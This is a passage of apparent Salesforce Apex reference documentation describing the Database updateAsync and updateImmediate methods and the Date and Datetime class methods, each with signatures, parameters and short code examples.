with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve
this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncSaveResult().
updateAsync(sobject, callback)
Initiates a request to update external object data on the relevant external system. The request is executed asynchronously, as a background
operation, and is sent to the external system that's defined by the external object's associated external data source. Allows referencing
a callback class whose processSave method is called after the remote operation is completed.
Signature
public static Database.SaveResult updateAsync(SObject sobject,
DataSource.AsyncSaveCallback callback)
Parameters
sobject
Type: SObject
External object record to modify.
callback
Type: DataSource.AsyncSaveCallback
The callback object that contains the state in the originating context and an action (the processSave method) that executes
after the insert operation is completed. Use the action callback to update org data according to the operation’s results. The callback
object must extend DataSource.AsyncSaveCallback.
Return Value
Type: Database.SaveResult
Status result for the insert operation. The result corresponds to a record processed by this asynchronous operation and is associated
with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve
this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncSaveResult().
2209
Database ClassReference
updateAsync(sobjects)
Initiates requests to update external object data on the relevant external systems. The requests are executed asynchronously, as background
operations, and are sent to the external systems that are defined by the external objects' associated external data sources.
Signature
public static List<Database.SaveResult> updateAsync(List<SObject> sobjects)
Parameters
sobjects
Type: List<SObject>
List of external object records to modify.
Return Value
Type: List<Database.SaveResult>
Status results for the update operation. Each result corresponds to a record processed by this asynchronous operation and is associated
with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve
this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncSaveResult().
updateAsync(sobject)
Initiates a request to update external object data on the relevant external system. The request is executed asynchronously, as a background
operation, and is sent to the external system that's defined by the external object's associated external data source.
Signature
public static Database.SaveResult updateAsync(SObject sobject)
Parameters
sobject
Type: SObject
External object record to modify.
Return Value
Type: Database.SaveResult
Status result for the insert operation. The result corresponds to a record processed by this asynchronous operation and is associated
with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve
this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncSaveResult().
updateImmediate(sobjects)
Initiates requests to update external object data on the relevant external systems. The requests are executed synchronously and are sent
to the external systems that are defined by the external objects' associated external data sources. If the Apex transaction contains pending
changes, the synchronous operations can't be completed and throw exceptions.
2210
Database ClassReference
Signature
public static List<Database.SaveResult> updateImmediate(List<SObject> sobjects)
Parameters
sobjects
Type: List<SObject>
List of external object records to modify.
Return Value
Type: List<Database.SaveResult>
Status results for the update operation.
updateImmediate(sobject)
Initiates a request to update external object data on the relevant external system. The request is executed synchronously and is sent to
the external system that's defined by the external object's associated external data source. If the Apex transaction contains pending
changes, the synchronous operation can't be completed and throws an exception.
Signature
public static Database.SaveResult updateImmediate(SObject sobject)
Parameters
sobject
Type: SObject
External object record to modify.
Return Value
Type: Database.SaveResult
Status result for the update operation.
Date Class
Contains methods for the Date primitive data type.
Namespace
System
Usage
For more information on Dates, see Primitive Data Types on page 27.
2211
Date ClassReference
Date Methods
The following are methods for Date.
IN THIS SECTION:
addDays(additionalDays)
Adds the specified number of additional days to a Date.
addMonths(additionalMonths)
Adds the specified number of additional months to a Date
addYears(additionalYears)
Adds the specified number of additional years to a Date
day()
Returns the day-of-month component of a Date.
dayOfYear()
Returns the day-of-year component of a Date.
daysBetween(secondDate)
Returns the number of days between the Date that called the method and the specified date.
daysInMonth(year, month)
Returns the number of days in the month for the specified year and month (1=Jan).
format()
Returns the Date as a string using the locale of the context user
isLeapYear(year)
Returns true if the specified year is a leap year.
isSameDay(dateToCompare)
Returns true if the Date that called the method is the same as the specified date.
month()
Returns the month component of a Date (1=Jan).
monthsBetween(secondDate)
Returns the number of months between the Date that called the method and the specified date, ignoring the difference in days.
newInstance(year, month, date)
Constructs a Date from Integer representations of the year, month (1=Jan), and day.
parse(stringDate)
Constructs a Date from a String. The format of the String depends on the local date format.
today()
Returns the current date in the current user's time zone.
toStartOfMonth()
Returns the first of the month for the Date that called the method.
toStartOfWeek()
Returns the start of the week for the Date that called the method, depending on the context user's locale.
valueOf(stringDate)
Returns a Date that contains the value of the specified String.
2212
Date ClassReference
valueOf(fieldValue)
Converts the specified object to a Date. Use this method to convert a history tracking field value or an object that represents a Date
value.
year()
Returns the year component of a Date
addDays(additionalDays)
Adds the specified number of additional days to a Date.
Signature
public Date addDays(Integer additionalDays)
Parameters
additionalDays
Type: Integer
Return Value
Type: Date
Example
Date myDate = Date.newInstance(1960, 2, 17);
Date newDate = mydate.addDays(2);
addMonths(additionalMonths)
Adds the specified number of additional months to a Date
Signature
public Date addMonths(Integer additionalMonths)
Parameters
additionalMonths
Type: Integer
Return Value
Type: Date
Example
date myDate = date.newInstance(1990, 11, 21);
date newDate = myDate.addMonths(3);
2213
Date ClassReference
date expectedDate = date.newInstance(1991, 2, 21);
system.assertEquals(expectedDate, newDate);
addYears(additionalYears)
Adds the specified number of additional years to a Date
Signature
public Date addYears(Integer additionalYears)
Parameters
additionalYears
Type: Integer
Return Value
Type: Date
Example
date myDate = date.newInstance(1983, 7, 15);
date newDate = myDate.addYears(2);
date expectedDate = date.newInstance(1985, 7, 15);
system.assertEquals(expectedDate, newDate);
day()
Returns the day-of-month component of a Date.
Signature
public Integer day()
Return Value
Type: Integer
Example
date myDate = date.newInstance(1989, 4, 21);
Integer day = myDate.day();
system.assertEquals(21, day);
dayOfYear()
Returns the day-of-year component of a Date.
2214
Date ClassReference
Signature
public Integer dayOfYear()
Return Value
Type: Integer
Example
date myDate = date.newInstance(1998, 10, 21);
Integer day = myDate.dayOfYear();
system.assertEquals(294, day);
daysBetween(secondDate)
Returns the number of days between the Date that called the method and the specified date.
Signature
public Integer daysBetween(Date secondDate)
Parameters
secondDate
Type: Date
Return Value
Type: Integer
Usage
If the Date that calls the method occurs after the secondDate, the return value is negative.
Example
Date startDate = Date.newInstance(2008, 1, 1);
Date dueDate = Date.newInstance(2008, 1, 30);
Integer numberDaysDue = startDate.daysBetween(dueDate);
daysInMonth(year, month)
Returns the number of days in the month for the specified year and month (1=Jan).
Signature
public static Integer daysInMonth(Integer year, Integer month)
2215
Date ClassReference
Parameters
year
Type: Integer
month
Type: Integer
Return Value
Type: Integer
Example
The following example finds the number of days in the month of February in the year 1960.
Integer numberDays = date.daysInMonth(1960, 2);
format()
Returns the Date as a string using the locale of the context user
Signature
public String format()
Return Value
Type: String
Example
// In American-English locale
date myDate = date.newInstance(2001, 3, 21);
String dayString = myDate.format();
system.assertEquals('3/21/2001', dayString);
isLeapYear(year)
Returns true if the specified year is a leap year.
Signature
public static Boolean isLeapYear(Integer year)
Parameters
year
Type: Integer
2216
Date ClassReference
Return Value
Type: Boolean
Example
system.assert(Date.isLeapYear(2004));
isSameDay(dateToCompare)
Returns true if the Date that called the method is the same as the specified date.
Signature
public Boolean isSameDay(Date dateToCompare)
Parameters
dateToCompare
Type: Date
Return Value
Type: Boolean
Example
date myDate = date.today();
date dueDate = date.newInstance(2008, 1, 30);
boolean dueNow = myDate.isSameDay(dueDate);
month()
Returns the month component of a Date (1=Jan).
Signature
public Integer month()
Return Value
Type: Integer
Example
date myDate = date.newInstance(2004, 11, 21);
Integer month = myDate.month();
system.assertEquals(11, month);
2217
Date ClassReference
monthsBetween(secondDate)
Returns the number of months between the Date that called the method and the specified date, ignoring the difference in days.
Signature
public Integer monthsBetween(Date secondDate)
Parameters
secondDate
Type: Date
Return Value
Type: Integer
Example
Date firstDate = Date.newInstance(2006, 12, 2);
Date secondDate = Date.newInstance(2012, 12, 8);
Integer monthsBetween = firstDate.monthsBetween(secondDate);
System.assertEquals(72, monthsBetween);
newInstance(year, month, date)
Constructs a Date from Integer representations of the year, month (1=Jan), and day.
Signature
public static Date newInstance(Integer year, Integer month, Integer date)
Parameters
year
Type: Integer
month
Type: Integer
date
Type: Integer
Return Value
Type: Date
Example
The following example creates the date February 17th, 1960:
Date myDate = date.newinstance(1960, 2, 17);
2218
Date ClassReference
parse(stringDate)
Constructs a Date from a String. The format of the String depends on the local date format.
Signature
public static Date parse(String stringDate)
Parameters
stringDate
Type: String
Return Value
Type: Date
Example
The following example works in some locales.
date mydate = date.parse('12/27/2009');
today()
Returns the current date in the current user's time zone.
Signature
public static Date today()
Return Value
Type: Date
toStartOfMonth()
Returns the first of the month for the Date that called the method.
Signature
public Date toStartOfMonth()
Return Value
Type: Date
Example
date myDate = date.newInstance(1987, 12, 17);
date firstDate = myDate.toStartOfMonth();
2219
Date ClassReference
date expectedDate = date.newInstance(1987, 12, 1);
system.assertEquals(expectedDate, firstDate);
toStartOfWeek()
Returns the start of the week for the Date that called the method, depending on the context user's locale.
Signature
public Date toStartOfWeek()
Return Value
Type: Date
Example
For example, the start of a week is Sunday in the United States locale, and Monday in European locales. For example:
Date myDate = Date.today();
Date weekStart = myDate.toStartofWeek();
valueOf(stringDate)
Returns a Date that contains the value of the specified String.
Signature
public static Date valueOf(String stringDate)
Parameters
stringDate
Type: String
Return Value
Type: Date
Usage
The specified string should use the standard date format “yyyy-MM-dd HH:mm:ss” in the local time zone.
Example
string year = '2008';
string month = '10';
string day = '5';
string hour = '12';
string minute = '20';
string second = '20';
2220
Date ClassReference
string stringDate = year + '-' + month
+'-' + day + ''+ hour + ':' +
minute + ':' + second;
Date myDate = date.valueOf(stringDate);
valueOf(fieldValue)
Converts the specified object to a Date. Use this method to convert a history tracking field value or an object that represents a Date
value.
Signature
public static Date valueOf(Object fieldValue)
Parameters
fieldValue
Type: Object
Return Value
Type: Date
Usage
Use this method with the OldValue or NewValue fields of history sObjects, such as AccountHistory, when the field is a Date
field.
Note: In API version 33.0 or earlier, if you call Date.valueOf with an object that represents a Datetime, the method
returns a Date value that contains the hours, minutes, and seconds. In version 34.0 and later, Date.valueOf converts the
object to a valid Date without the time information. To convert a variable of type Datetime to a Date, use the Datetime.date
method.
Example
This example converts history tracking fields to Date values.
List<AccountHistory> ahlist = [SELECT Field,OldValue,NewValue FROM AccountHistory];
for(AccountHistory ah : ahlist) {
System.debug('Field: ' + ah.Field);
if (ah.field == 'MyDate__c') {
Date oldValue = Date.valueOf(ah.OldValue);
Date newValue = Date.valueOf(ah.NewValue);
}
}
year()
Returns the year component of a Date
2221
Date ClassReference
Signature
public Integer year()
Return Value
Type: Integer
Example
date myDate = date.newInstance(1988, 12, 17);
system.assertEquals(1988, myDate.year());
Datetime Class
Contains methods for the Datetime primitive data type.
Namespace
System
Usage
For more information about the Datetime, see Primitive Data Types on page 27.
Datetime Methods
The following are methods for Datetime.
IN THIS SECTION:
addDays(additionalDays)
Adds the specified number of days to a Datetime.
addHours(additionalHours)
Adds the specified number of hours to a Datetime.
addMinutes(additionalMinutes)
Adds the specified number of minutes to a Datetime.
addMonths(additionalMonths)
Adds the specified number of months to a Datetime.
addSeconds(additionalSeconds)
Adds the specified number of seconds to a Datetime.
addYears(additionalYears)
Adds the specified number of years to a Datetime.
date()
Returns the Date component of a Datetime in the local time zone of the context user.
2222
Datetime ClassReference
dateGMT()
Return the Date component of a Datetime in the GMT time zone.
day()
Returns the day-of-month component of a Datetime in the local time zone of the context user.
dayGmt()
Returns the day-of-month component of a Datetime in the GMT time zone.
dayOfYear()
Returns the day-of-year component of a Datetime in the local time zone of the context user.
dayOfYearGmt()
Returns the day-of-year component of a Datetime in the GMT time zone.
format()
Converts the date to the local time zone and returns the converted date as a formatted string using the locale of the context user.
If the time zone cannot be determined, GMT is used.
format(dateFormatString)
Converts the date to the local time zone and returns the converted date as a string using the supplied Java simple date format. If
the time zone cannot be determined, GMT is used.
format(dateFormatString, timezone)
Converts the date to the specified time zone and returns the converted date as a string using the supplied Java simple date format.
If the supplied time zone is not in the correct format, GMT is used.
formatGmt(dateFormatString)
Returns a Datetime as a string using the supplied Java simple date format and the GMT time zone.
formatLong()
Converts the date to the local time zone and returns the converted date in long date format.
getTime()
Returns the number of milliseconds since January 1, 1970, 00:00:00 GMT represented by this DateTime object.
hour()
Returns the hour component of a Datetime in the local time zone of the context user.
hourGmt()
Returns the hour component of a Datetime in the GMT time zone.
isSameDay(dateToCompare)
Returns true if the Datetime that called the method is the same as the specified Datetime in the local time zone of the context user.
millisecond()
Return the millisecond component of a Datetime in the local time zone of the context user.
millisecondGmt()
Return the millisecond component of a Datetime in the GMT time zone.
minute()
Returns the minute component of a Datetime in the local time zone of the context user.
minuteGmt()
Returns the minute component of a Datetime in the GMT time zone.
month()
Returns the month component of a Datetime in the local time zone of the context user (1=Jan).
2223
Datetime ClassReference
monthGmt()
Returns the month component of a Datetime in the GMT time zone (1=Jan).
newInstance(milliseconds)
Constructs a Datetime and initializes it to represent the specified number of milliseconds since January 1, 1970, 00:00:00 GMT.
newInstance(date, time)
Constructs a DateTime from the specified date and time in the local time zone.
newInstance(year, month, day)
Constructs a Datetime from Integer representations of the specified year, month (1=Jan), and day at midnight in the local time zone.
newInstance(year, month, day, hour, minute, second)
Constructs a Datetime from Integer representations of the specified year, month (1=Jan), day, hour, minute, and second in the local
time zone.
newInstanceGmt(date, time)
Constructs a DateTime from the specified date and time in the GMT time zone.
newInstanceGmt(year, month, date)
Constructs a Datetime from Integer representations of the specified year, month (1=Jan), and day at midnight in the GMT time zone
newInstanceGmt(year, month, date, hour, minute, second)
Constructs a Datetime from Integer representations of the specified year, month (1=Jan), day, hour, minute, and second in the GMT
time zone
now()
Returns the current Datetime based on a GMT calendar.
parse(datetimeString)
Constructs a Datetime from the given String in the local time zone and in the format of the user locale.
second()
Returns the second component of a Datetime in the local time zone of the context user.
secondGmt()
Returns the second component of a Datetime in the GMT time zone.
time()
Returns the time component of a Datetime in the local time zone of the context user.
timeGmt()
Returns the time component of a Datetime in the GMT time zone.
valueOf(dateTimeString)
Returns a Datetime that contains the value of the specified string.
valueOf(fieldValue)
Converts the specified object to a Datetime. Use this method to convert a history tracking field value or an object that represents a
Datetime value.
valueOfGmt(dateTimeString)
Returns a Datetime that contains the value of the specified String.
year()
Returns the year component of a Datetime in the local time zone of the context user.
yearGmt()
Returns the year component of a Datetime in the GMT time zone.
2224
Datetime ClassReference
addDays(additionalDays)
Adds the specified number of days to a Datetime.
Signature
public Datetime addDays(Integer additionalDays)
Parameters
additionalDays
Type: Integer
Return Value
Type: Datetime
Example
Datetime myDateTime = Datetime.newInstance(1960, 2, 17);
Datetime newDateTime = myDateTime.addDays(2);
Datetime expected = Datetime.newInstance(1960, 2, 19);
System.assertEquals(expected, newDateTime);
addHours(additionalHours)
Adds the specified number of hours to a Datetime.
Signature
public Datetime addHours(Integer additionalHours)
Parameters
additionalHours
Type: Integer
Return Value
Type: Datetime
Example
DateTime myDateTime = DateTime.newInstance(1997, 1, 31, 7, 8, 16);
DateTime newDateTime = myDateTime.addHours(3);
DateTime expected = DateTime.newInstance(1997, 1, 31, 10, 8, 16);
System.assertEquals(expected, newDateTime);
addMinutes(additionalMinutes)
Adds the specified number of minutes to a Datetime.
2225
Datetime ClassReference
Signature
public Datetime addMinutes(Integer additionalMinutes)
Parameters
additionalMinutes
Type: Integer
Return Value
Type: Datetime
Example
DateTime myDateTime = DateTime.newInstance(1999, 2, 11, 8, 6, 16);
DateTime newDateTime = myDateTime.addMinutes(7);
DateTime expected = DateTime.newInstance(1999, 2, 11, 8, 13, 16);
System.assertEquals(expected, newDateTime);
addMonths(additionalMonths)
Adds the specified number of months to a Datetime.
Signature
public Datetime addMonths(Integer additionalMonths)
Parameters
additionalMonths
Type: Integer
Return Value
Type: Datetime
Example
DateTime myDateTime = DateTime.newInstance(2000, 7, 7, 7, 8, 12);
DateTime newDateTime = myDateTime.addMonths(1);
DateTime expected = DateTime.newInstance(2000, 8, 7, 7, 8, 12);
System.assertEquals(expected, newDateTime);
addSeconds(additionalSeconds)
Adds the specified number of seconds to a Datetime.
Signature
public Datetime addSeconds(Integer additionalSeconds)
2226
Datetime ClassReference
Parameters
additionalSeconds
Type: Integer
Return Value
Type: Datetime
Example
DateTime myDateTime = DateTime.newInstance(2001, 7, 19, 10, 7, 12);
DateTime newDateTime = myDateTime.addSeconds(4);
DateTime expected = DateTime.newInstance(2001, 7, 19, 10, 7, 16);
System.assertEquals(expected, newDateTime);
addYears(additionalYears)
Adds the specified number of years to a Datetime.
Signature
public Datetime addYears(Integer additionalYears)
Parameters
additionalYears
Type: Integer
Return Value
Type: Datetime
Example
DateTime myDateTime = DateTime.newInstance(2009, 12, 17, 13, 6, 6);
DateTime newDateTime = myDateTime.addYears(1);
DateTime expected = DateTime.newInstance(2010, 12, 17, 13, 6, 6);
System.assertEquals(expected, newDateTime);
date()
Returns the Date component of a Datetime in the local time zone of the context user.
Signature
public Date date()
Return Value
Type: Date
2227
Datetime ClassReference
Example
DateTime myDateTime = DateTime.newInstance(2006, 3, 16, 12, 6, 13);
Date myDate = myDateTime.date();
Date expected = Date.newInstance(2006, 3, 16);
System.assertEquals(expected, myDate);
dateGMT()
Return the Date component of a Datetime in the GMT time zone.
Signature
public Date dateGMT()
Return Value
Type: Date
Example
// California local time, PST
DateTime myDateTime = DateTime.newInstance(2006, 3, 16, 23, 0, 0);
Date myDate = myDateTime.dateGMT();
Date expected = Date.newInstance(2006, 3, 17);
System.assertEquals(expected, myDate);
day()
Returns the day-of-month component of a Datetime in the local time zone of the context user.
Signature
public Integer day()
Return Value
Type: Integer
Example
DateTime myDateTime = DateTime.newInstance(1986, 2, 21, 23, 0, 0);
System.assertEquals(21, myDateTime.day());
dayGmt()
Returns the day-of-month component of a Datetime in the GMT time zone.
Signature
public Integer dayGmt()
2228
Datetime ClassReference
Return Value
Type: Integer
Example
// California local time, PST
DateTime myDateTime = DateTime.newInstance(1987, 1, 14, 23, 0, 3);
System.assertEquals(15, myDateTime.dayGMT());
dayOfYear()
Returns the day-of-year component of a Datetime in the local time zone of the context user.
Signature
public Integer dayOfYear()
Return Value
Type: Integer
Example
For example, February 5, 2008 08:30:12 would be day 36.
Datetime myDate = Datetime.newInstance(2008, 2, 5, 8, 30, 12);
system.assertEquals(myDate.dayOfYear(), 36);
dayOfYearGmt()
Returns the day-of-year component of a Datetime in the GMT time zone.
Signature
public Integer dayOfYearGmt()
Return Value
Type: Integer
Example
// This sample assumes we are in the PST timezone
DateTime myDateTime = DateTime.newInstance(1999, 2, 5, 23, 0, 3);
// January has 31 days + 5 days in February = 36 days
// dayOfYearGmt() adjusts the time zone from the current time zone to GMT
// by adding 8 hours to the PST time zone, so it's 37 days and not 36 days
System.assertEquals(37, myDateTime.dayOfYearGmt());
2229
Datetime ClassReference
format()
Converts the date to the local time zone and returns the converted date as a formatted string using the locale of the context user. If the
time zone cannot be determined, GMT is used.
Signature
public String format()
Return Value
Type: String
Example
DateTime myDateTime = DateTime.newInstance(1993, 6, 6, 3, 3, 3);
system.assertEquals('6/6/1993 3:03 AM', mydatetime.format());
format(dateFormatString)
Converts the date to the local time zone and returns the converted date as a string using the supplied Java simple date format. If the
time zone cannot be determined, GMT is used.
Signature
public String format(String dateFormatString)
Parameters
dateFormatString
Type: String
Return Value
Type: String
Usage
For more information on the Java simple date format, see Java SimpleDateFormat.
Example
Datetime myDT = Datetime.now();
String myDate = myDT.format('h:mm a');
format(dateFormatString, timezone)
Converts the date to the specified time zone and returns the converted date as a string using the supplied Java simple date format. If
the supplied time zone is not in the correct format, GMT is used.
2230
Datetime ClassReference
Signature
public String format(String dateFormatString, String timezone)
Parameters
dateFormatString
Type: String
timezone
Type: String
Valid time zone values for the timezone argument are the time zones of the Java TimeZone class that correspond to the time
zones returned by the TimeZone.getAvailableIDs method in Java. We recommend you use full time zone names, not the three-letter
abbreviations.
Return Value
Type: String
Usage
For more information on the Java simple date format, see Java SimpleDateFormat.
Example
This example uses format to convert a GMT date to the America/New_York time zone and formats the date using the specified date
format.
Datetime GMTDate =
Datetime.newInstanceGmt(2011,6,1,12,1,5);
String strConvertedDate =
GMTDate.format('MM/dd/yyyy HH:mm:ss',
'America/New_York');
// Date is converted to
// the new time zone and is adjusted
// for daylight saving time.
System.assertEquals(
'06/01/2011 08:01:05', strConvertedDate);
formatGmt(dateFormatString)
Returns a Datetime as a string using the supplied Java simple date format and the GMT time zone.
Signature
public String formatGmt(String dateFormatString)
Parameters
dateFormatString
Type: String
2231
Datetime ClassReference
Return Value
Type: String
Usage
For more information on the Java simple date format, see Java SimpleDateFormat.
Example
DateTime myDateTime = DateTime.newInstance(1993, 6, 6, 3, 3, 3);
String formatted = myDateTime.formatGMT('EEE, MMM d yyyy HH:mm:ss');
String expected = 'Sun, Jun 6 1993 10:03:03';
System.assertEquals(expected, formatted);
formatLong()
Converts the date to the local time zone and returns the converted date in long date format.
Signature
public String formatLong()
Return Value
Type: String
Example
// Passing local date based on the PST time zone
Datetime dt = DateTime.newInstance(2012,12,28,10,0,0);
// Writes 12/28/2012 10:00:00 AM PST
System.debug('dt.formatLong()=' + dt.formatLong());
getTime()
Returns the number of milliseconds since January 1, 1970, 00:00:00 GMT represented by this DateTime object.
Signature
public Long getTime()
Return Value
Type: Long
Example
DateTime dt = DateTime.newInstance(2007, 6, 23, 3, 3, 3);
Long gettime = dt.getTime();
2232
Datetime ClassReference
Long expected = 1182592983000L;
System.assertEquals(expected, gettime);
hour()
Returns the hour component of a Datetime in the local time zone of the context user.
Signature
public Integer hour()
Return Value
Type: Integer
Example
DateTime myDateTime = DateTime.newInstance(1998, 11, 21, 3, 3, 3);
System.assertEquals(3 , myDateTime.hour());
hourGmt()
Returns the hour component of a Datetime in the GMT time zone.
Signature
public Integer hourGmt()
Return Value
Type: Integer
Example
// California local time
DateTime myDateTime = DateTime.newInstance(2000, 4, 27, 3, 3, 3);
System.assertEquals(10 , myDateTime.hourGMT());
isSameDay(dateToCompare)
Returns true if the Datetime that called the method is the same as the specified Datetime in the local time zone of the context user.
Signature
public Boolean isSameDay(Datetime dateToCompare)
Parameters
dateToCompare
Type: Datetime
2233
Datetime ClassReference
Return Value
Type: Boolean
Example
datetime myDate = datetime.now();
datetime dueDate =
datetime.newInstance(2008, 1, 30);
boolean dueNow = myDate.isSameDay(dueDate);
millisecond()
Return the millisecond component of a Datetime in the local time zone of the context user.
Signature
public Integer millisecond()
Return Value
Type: Integer
Example
DateTime myDateTime = DateTime.now();
system.debug(myDateTime.millisecond());
millisecondGmt()
Return the millisecond component of a Datetime in the GMT time zone.
Signature
public Integer millisecondGmt()
Return Value
Type: Integer
Example
DateTime myDateTime = DateTime.now();
system.debug(myDateTime.millisecondGMT());
minute()
Returns the minute component of a Datetime in the local time zone of the context user.
2234
Datetime ClassReference
Signature
public Integer minute()
Return Value
Type: Integer
Example
DateTime myDateTime = DateTime.newInstance(2001, 2, 27, 3, 3, 3);
system.assertEquals(3, myDateTime.minute());
minuteGmt()
Returns the minute component of a Datetime in the GMT time zone.
Signature
public Integer minuteGmt()
Return Value
Type: Integer
Example
DateTime myDateTime = DateTime.newInstance(2002, 12, 3, 3, 3, 3);
system.assertEquals(3, myDateTime.minuteGMT());
month()
Returns the month component of a Datetime in the local time zone of the context user (1=Jan).
Signature
public Integer month()
Return Value
Type: Integer
Example
DateTime myDateTime = DateTime.newInstance(2004, 11, 4, 3, 3, 3);
system.assertEquals(11, myDateTime.month());
monthGmt()
Returns the month component of a Datetime in the GMT time zone (1=Jan).
2235
Datetime ClassReference
Signature
public Integer monthGmt()
Return Value
Type: Integer
Example
DateTime myDateTime = DateTime.newInstance(2006, 11, 19, 3, 3, 3);
system.assertEquals(11, myDateTime.monthGMT());
newInstance(milliseconds)
Constructs a Datetime and initializes it to represent the specified number of milliseconds since January 1, 1970, 00:00:00 GMT.
Signature
public static Datetime newInstance(Long milliseconds)
Parameters
milliseconds
Type: Long
Return Value
Type: Datetime
The returned date is in the GMT time zone.
Example
Long longtime = 1341828183000L;
DateTime dt = DateTime.newInstance(longtime);
DateTime expected = DateTime.newInstance(2012, 7, 09, 3, 3, 3);
System.assertEquals(expected, dt);
newInstance(date, time)
Constructs a DateTime from the specified date and time in the local time zone.
Signature
public static Datetime newInstance(Date date, Time time)
Parameters
date
Type: Date
2236
Datetime ClassReference
time
Type: Time
Return Value
Type: Datetime
The returned date is in the GMT time zone.
Example
Date myDate = Date.newInstance(2011, 11, 18);
Time myTime = Time.newInstance(3, 3, 3, 0);
DateTime dt = DateTime.newInstance(myDate, myTime);
DateTime expected = DateTime.newInstance(2011, 11, 18, 3, 3, 3);
System.assertEquals(expected, dt);
newInstance(year, month, day)
Constructs a Datetime from Integer representations of the specified year, month (1=Jan), and day at midnight in the local time zone.
Signature
public static Datetime newInstance(Integer year, Integer month, Integer day)
Parameters
year
Type: Integer
month
Type: Integer
day
Type: Integer
Return Value
Type: Datetime
The returned date is in the GMT time zone.
Example
datetime myDate = datetime.newInstance(2008, 12, 1);
newInstance(year, month, day, hour, minute, second)
Constructs a Datetime from Integer representations of the specified year, month (1=Jan), day, hour, minute, and second in the local time
zone.
2237
Datetime ClassReference
Signature
public static Datetime newInstance(Integer year, Integer month, Integer day, Integer
hour, Integer minute, Integer second)
Parameters
year
Type: Integer
month
Type: Integer
day
Type: Integer
hour
Type: Integer
minute
Type: Integer
second
Type: Integer
Return Value
Type: Datetime
The returned date is in the GMT time zone.
Example
Datetime myDate = Datetime.newInstance(2008, 12, 1, 12, 30, 2);
newInstanceGmt(date, time)
Constructs a DateTime from the specified date and time in the GMT time zone.
Signature
public static Datetime newInstanceGmt(Date date, Time time)
Parameters
date
Type: Date
time
Type: Time
Return Value
Type: Datetime
2238
Datetime ClassReference
Example
Date myDate = Date.newInstance(2013, 11, 12);
Time myTime = Time.newInstance(3, 3, 3, 0);
DateTime dt = DateTime.newInstanceGMT(myDate, myTime);
DateTime expected = DateTime.newInstanceGMT(2013, 11, 12, 3, 3, 3);
System.assertEquals(expected, dt);
newInstanceGmt(year, month, date)
Constructs a Datetime from Integer representations of the specified year, month (1=Jan), and day at midnight in the GMT time zone
Signature
public static Datetime newInstanceGmt(Integer year, Integer month, Integer date)
Parameters
year
Type: Integer
month
Type: Integer
date
Type: Integer
Return Value
Type: Datetime
Example
DateTime dt = DateTime.newInstanceGMT(1996, 3, 22);
newInstanceGmt(year, month, date, hour, minute, second)
Constructs a Datetime from Integer representations of the specified year, month (1=Jan), day, hour, minute, and second in the GMT
time zone
Signature
public static Datetime newInstanceGmt(Integer year, Integer month, Integer date, Integer
hour, Integer minute, Integer second)
Parameters
year
Type: Integer
month
Type: Integer
2239
Datetime ClassReference
date
Type: Integer
hour
Type: Integer
minute
Type: Integer
second
Type: Integer
Return Value
Type: Datetime
Example
//California local time
DateTime dt = DateTime.newInstanceGMT(1998, 1, 29, 2, 2, 3);
DateTime expected = DateTime.newInstance(1998, 1, 28, 18, 2, 3);
System.assertEquals(expected, dt);
now()
Returns the current Datetime based on a GMT calendar.
Signature
public static Datetime now()
Return Value
Type: Datetime
The format of the returned datetime is: 'MM/DD/YYYY HH:MM PERIOD'
Example
datetime myDateTime = datetime.now();
parse(datetimeString)
Constructs a Datetime from the given String in the local time zone and in the format of the user locale.
Signature
public static Datetime parse(String datetimeString)
2240
Datetime ClassReference
Parameters
datetimeString
Type: String
Return Value
Type: Datetime
The returned date is in the GMT time zone.
Example
This example uses parse to create a Datetime from a date passed in as a string and that is formatted for the English (United States)
locale. You may need to change the format of the date string if you have a different locale.
Datetime dt = DateTime.parse('10/14/2011 11:46 AM');
String myDtString = dt.format();
system.assertEquals(myDtString, '10/14/2011 11:46 AM');
second()
Returns the second component of a Datetime in the local time zone of the context user.
Signature
public Integer second()
Return Value
Type: Integer
Example
DateTime dt = DateTime.newInstanceGMT(1999, 9, 22, 3, 1, 2);
System.assertEquals(2, dt.second());
secondGmt()
Returns the second component of a Datetime in the GMT time zone.
Signature
public Integer secondGmt()
Return Value
Type: Integer
2241
Datetime ClassReference
Example
DateTime dt = DateTime.newInstance(2000, 2, 3, 3, 1, 5);
System.assertEquals(5, dt.secondGMT());
time()
Returns the time component of a Datetime in the local time zone of the context user.
Signature
public Time time()
Return Value
Type: Time
Example
DateTime dt = DateTime.newInstance(2002, 11, 21, 0, 2, 2);
Time expected = Time.newInstance(0, 2, 2, 0);
System.assertEquals(expected, dt.time());
timeGmt()
Returns the time component of a Datetime in the GMT time zone.
Signature
public Time timeGmt()
Return Value
Type: Time
Example
// This sample is based on the PST time zone
DateTime dt = DateTime.newInstance(2004, 1, 27, 4, 1, 2);
Time expected = Time.newInstance(12, 1, 2, 0);
// 8 hours are added to the time to convert it from
// PST to GMT
System.assertEquals(expected, dt.timeGMT());
valueOf(dateTimeString)
Returns a Datetime that contains the value of the specified string.
Signature
public static Datetime valueOf(String dateTimeString)
2242
Datetime ClassReference
Parameters
dateTimeString
Type: String
Return Value
Type: Datetime
The returned date is in the GMT time zone.
Usage
The specified string should use the standard date format “yyyy-MM-dd HH:mm:ss” in the local time zone.
Example
string year = '2008';
string month = '10';
string day = '5';
string hour = '12';
string minute = '20';
string second = '20';
string stringDate = year + '-' + month + '-' + day + ''+ hour + ':'
+ minute + ':' + second;
Datetime myDate = Datetime.valueOf(stringDate);
valueOf(fieldValue)
Converts the specified object to a Datetime. Use this method to convert a history tracking field value or an object that represents a
Datetime value.
Signature
public static Datetime valueOf(Object fieldValue)
Parameters
fieldValue
Type: Object
Return Value
Type: Datetime
Usage
Use this method with the OldValue or NewValue fields of history sObjects, such as AccountHistory, when the field is a
Date/Time field.
2243
Datetime ClassReference
Example
List<AccountHistory> ahlist = [SELECT Field,OldValue,NewValue FROM AccountHistory];
for(AccountHistory ah : ahlist) {
System.debug('Field: ' + ah.Field);
if (ah.field == 'MyDatetime__c') {
Datetime oldValue = Datetime.valueOf(ah.OldValue);
Datetime newValue = Datetime.valueOf(ah.NewValue);
}
}
valueOfGmt(dateTimeString)
Returns a Datetime that contains the value of the specified String.
Signature
